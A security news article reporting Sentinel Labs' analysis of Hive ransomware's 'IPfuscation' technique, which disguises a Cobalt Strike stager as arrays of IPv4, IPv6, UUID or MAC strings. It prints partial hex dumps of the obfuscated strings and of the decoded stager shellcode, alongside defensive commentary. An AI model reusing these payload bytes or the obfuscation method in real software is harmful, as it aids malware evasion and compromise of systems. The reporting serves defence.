

Hive ransomware uses new 'IPfuscation' trick to hide payload

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Threat analysts have discovered a new obfuscation technique used by the Hive ransomware gang, which involves IPv4 addresses and a series of conversions that eventually lead to downloading a Cobalt Strike beacon.

Code obfuscation is what helps threat actors hide the malicious nature of their code from human reviewers or security software so that they can evade detection.

There are numerous ways to achieve obfuscation, each with its own set of pros and cons, but a novel one discovered in a an incident response involving Hive ransomware shows that adversaries are finding new, stealthier ways to achieve their goal.

[Sentinel Labs](#) analysts report on the new obfuscation technique, that they call “IPfuscation”, and which is yet another example of how effective simple but smart methods can be in real-world malware deployment.

From IP to shellcode

The analysts discovered the new technique while analyzing 64-bit Windows executables, each containing a payload that delivers Cobalt Strike.

The payload itself is obfuscated by taking the form of an array of ASCII IPv4 addresses, so it looks like an innocuous list of IP addresses.

In the context of malware analysis, the list may even be mistaken for hard-coded C2 communication information.

```

[0x140002298]> x 500
- offset -      0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x140002298  3235 322e 3732 2e31 3331 2e32 3238 0000 252.72.131.228..
0x1400022a8  3234 302e 3233 322e 3230 302e 3000 0000 240.232.200.0...
0x1400022b8  302e 302e 3635 2e38 3100 0000 0000 0000 0.0.65.81.....
0x1400022c8  3635 2e38 302e 3832 2e38 3100 0000 0000 65.80.82.81.....
0x1400022d8  3836 2e37 322e 3439 2e32 3130 0000 0000 86.72.49.210....
0x1400022e8  3130 312e 3732 2e31 3339 2e38 3200 0000 101.72.139.82...
0x1400022f8  3936 2e37 322e 3133 392e 3832 0000 0000 96.72.139.82....
0x140002308  3234 2e37 322e 3133 392e 3832 0000 0000 24.72.139.82....
0x140002318  3332 2e37 322e 3133 392e 3131 3400 0000 32.72.139.114...
0x140002328  3830 2e37 322e 3135 2e31 3833 0000 0000 80.72.15.183....
0x140002338  3734 2e37 342e 3737 2e34 3900 0000 0000 74.74.77.49.....
0x140002348  3230 312e 3732 2e34 392e 3139 3200 0000 201.72.49.192...
0x140002358  3137 322e 3630 2e39 372e 3132 3400 0000 172.60.97.124...
0x140002368  322e 3434 2e33 322e 3635 0000 0000 0000 2.44.32.65.....
0x140002378  3139 332e 3230 312e 3133 2e36 3500 0000 193.201.13.65...
0x140002388  312e 3139 332e 3232 362e 3233 3700 0000 1.193.226.237...
0x140002398  3832 2e36 352e 3831 2e37 3200 0000 0000 82.65.81.72.....
0x1400023a8  3133 392e 3832 2e33 322e 3133 3900 0000 139.82.32.139...
0x1400023b8  3636 2e36 302e 3732 2e31 0000 0000 0000 66.60.72.1.....
0x1400023c8  3230 382e 3130 322e 3132 392e 3132 3000 208.102.129.120.
0x1400023d8  3234 2e31 312e 322e 3131 3700 0000 0000 24.11.2.117.....
0x1400023e8  3131 342e 3133 392e 3132 382e 3133 3600 114.139.128.136.
0x1400023f8  302e 302e 302e 3732 0000 0000 0000 0000 0.0.0.72.....
0x140002408  3133 332e 3139 322e 3131 362e 3130 3300 133.192.116.103.
0x140002418  3732 2e31 2e32 3038 2e38 3000 0000 0000 72.1.208.80.....
0x140002428  3133 392e 3732 2e32 342e 3638 0000 0000 139.72.24.68....
0x140002438  3133 392e 3634 2e33 322e 3733 0000 0000 139.64.32.73....
0x140002448  312e 3230 382e 3232 372e 3836 0000 0000 1.208.227.86....
0x140002458  3732 2e32 3535 2e32 3031 2e36 3500 0000 72.255.201.65...
0x140002468  3133 392e 3532 2e31 3336 2e37 3200 0000 139.52.136.72...
0x140002478  312e 3231 342e 3737 2e34 3900 0000 0000 1.214.77.49.....
0x140002488  3137 322e 172.

```

The list of IPv4 addresses that will assemble the payload

(Sentinel Labs)

When the file is passed to a converting function ([ip2string.h](#)) that translates the string to binary, a blob of shellcode appears.

Once this step has been completed, the malware executes the shellcode either via direct SYSCALLs or by proxying execution via callback on the user interface language enumerator ([winnls.h](#)), resulting in a standard Cobalt Strike stager.

Here’s an example from the Sentinel Labs report:

The first hardcoded IP-formatted string is the ASCII string “252.72.131.228”, which has a binary representation of 0xE48348FC (big endian), and the next “IP” to be translated is “240.232.200.0”, which has a binary representation of 0xC8E8F0.

Disassembling these “binary representations” shows the start of shellcode generated by common penetration testing frameworks.

```

FC
48 83 E4 F0
E8 C8 00 00 00
ctd
and rsp,FFFFFFFFFFFFFFF0
call 22BECABA112

```

The resulting shellcode from two IP addresses

(Sentinel Labs)

The analysts have discovered additional IPfuscation variants that instead of IPv4 addresses use IPv6, UUIDs, and MAC addresses, all operating in an almost identical manner as what we described above.

Before translation into binary:

Address	Hex	ASCII
000000c000080000	66 63 34 38 38 33 65 34 66 30 65 38 63 38 30 30	f c4883e4f0e8c800
000000c000080010	30 30 30 30 34 31 35 31 34 31 35 30 35 32 35 31	0000415141505251
000000c000080020	35 36 34 38 33 31 64 32 36 35 34 38 38 62 35 32	564831d265488b52
000000c000080030	36 30 34 38 38 62 35 32 31 38 34 38 38 62 35 32	60488b5218488b52
000000c000080040	32 30 34 38 38 62 37 32 35 30 34 38 30 66 62 37	20488b7250480fb7
000000c000080050	34 61 34 61 34 64 33 31 63 39 34 38 33 31 63 30	4a4a4d31c94831c0
000000c000080060	61 63 33 63 36 31 37 63 30 32 32 63 32 30 34 31	ac3c617c022c2041
000000c000080070	63 31 63 39 30 64 34 31 30 31 63 31 65 32 65 64	c1c90d4101c1e2ed
000000c000080080	35 32 34 31 35 31 34 38 38 62 35 32 32 30 38 62	524151488b52208b
000000c000080090	34 32 33 63 34 38 30 31 64 30 36 36 38 31 37 38	423c4801d0668178
000000c0000800A0	31 38 30 62 30 32 37 35 37 32 38 62 38 30 38 38	180b0275728b8088
000000c0000800B0	30 30 30 30 30 30 34 38 38 35 63 30 37 34 36 37	0000004885c07467
000000c0000800C0	34 38 30 31 64 30 35 30 38 62 34 38 31 38 34 34	4801d0508b481844
000000c0000800D0	38 62 34 30 32 30 34 39 30 31 64 30 65 33 35 36	8b40204901d0e356
000000c0000800E0	34 38 66 66 63 39 34 31 38 62 33 34 38 38 34 38	48ffc9418b348848
000000c0000800F0	30 31 64 36 34 64 33 31 63 39 34 38 33 31 63 30	01d64d31c94831c0
000000c000080100	61 63 34 31 63 31 63 39 30 64 34 31 30 31 63 31	ac41c1c90d4101c1

After translation into binary:

Address	Hex	ASCII
000000c000080000	FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51	ÜH.äðE...AQAPRQ
000000c000080010	56 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52	VHl0eH.R`H.R.H.R
000000c000080020	20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0	H.rPH..JJMlEHlA
000000c000080030	AC 3C 61 7C 02 2C 20 41 C1 C9 0D 41 01 C1 E2 ED	~<a .,AAÉ.A.Áâí
000000c000080040	52 41 51 48 8B 52 20 8B 42 3C 48 01 D0 66 81 78	RAQH.R .B<H.ðf.x
000000c000080050	18 0B 02 75 72 8B 80 88 00 00 00 48 85 C0 74 67	...ur.....H.Àtg
000000c000080060	48 01 D0 50 8B 48 18 44 8B 40 20 49 01 D0 E3 56	H.ðP.H.D.@ I.ĐäV
000000c000080070	48 FF C9 41 8B 34 88 48 01 D6 4D 31 C9 48 31 C0	HÿÉA.4.H.ÖMlEHlA
000000c000080080	AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24	~AAÉ.A.Á8âuñL.L\$
000000c000080090	08 45 39 D1 75 D8 58 44 8B 40 24 49 01 D0 66 41	.E9NuøXD.@\$I.ðfA
000000c0000800A0	8B 0C 48 44 8B 40 1C 49 01 D0 41 8B 04 88 48 01	..HD.@.I.ĐA...H.
000000c0000800B0	D0 41 58 41 58 5E 59 5A 41 58 41 59 41 5A 48 83	ðAXAX^YZAXAYAZH.
000000c0000800C0	EC 20 41 52 FF E0 58 41 59 5A 48 8B 12 E9 4F FF	ì ARÿàXAYZH..éöÿ
000000c0000800D0	FF FF 5D 6A 00 49 BE 77 69 6E 69 6E 65 74 00 41	ÿÿ]j.Ixwininet.A
000000c0000800E0	56 49 89 E6 4C 89 F1 41 BA 4C 77 26 07 FF D5 48	VI.æL.ñA°Lw&.ÿÖH
000000c0000800F0	31 C9 48 31 D2 4D 31 C0 4D 31 C9 41 50 41 50 41	lEHlÖMlÄMlÉAPAPA
000000c000080100	BA 3A 56 79 A7 FF D5 EB 73 5A 48 89 C1 41 B8 26	°:vyÿÿöesZH.AA,&

Deobfuscated strings forming a Cobalt Strike stager

(Sentinel Labs)

The takeaway from this is that relying solely on static signatures for malicious payload detection is not enough these days.

Behavioral detection, AI-assisted analysis, and holistic endpoint security that aggregates suspicious elements from multiple points would have a better chance at lifting the lid of IPfuscation, the researchers say.

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Bill Toulas is a technology writer and infosec news reporter with over a decade of experience working on various online publications. An open source advocate and Linux enthusiast, is currently finding pleasure in following hacks, malware campaigns, and data breach incidents, as well as by exploring the intricate ways through which tech is swiftly transforming our lives.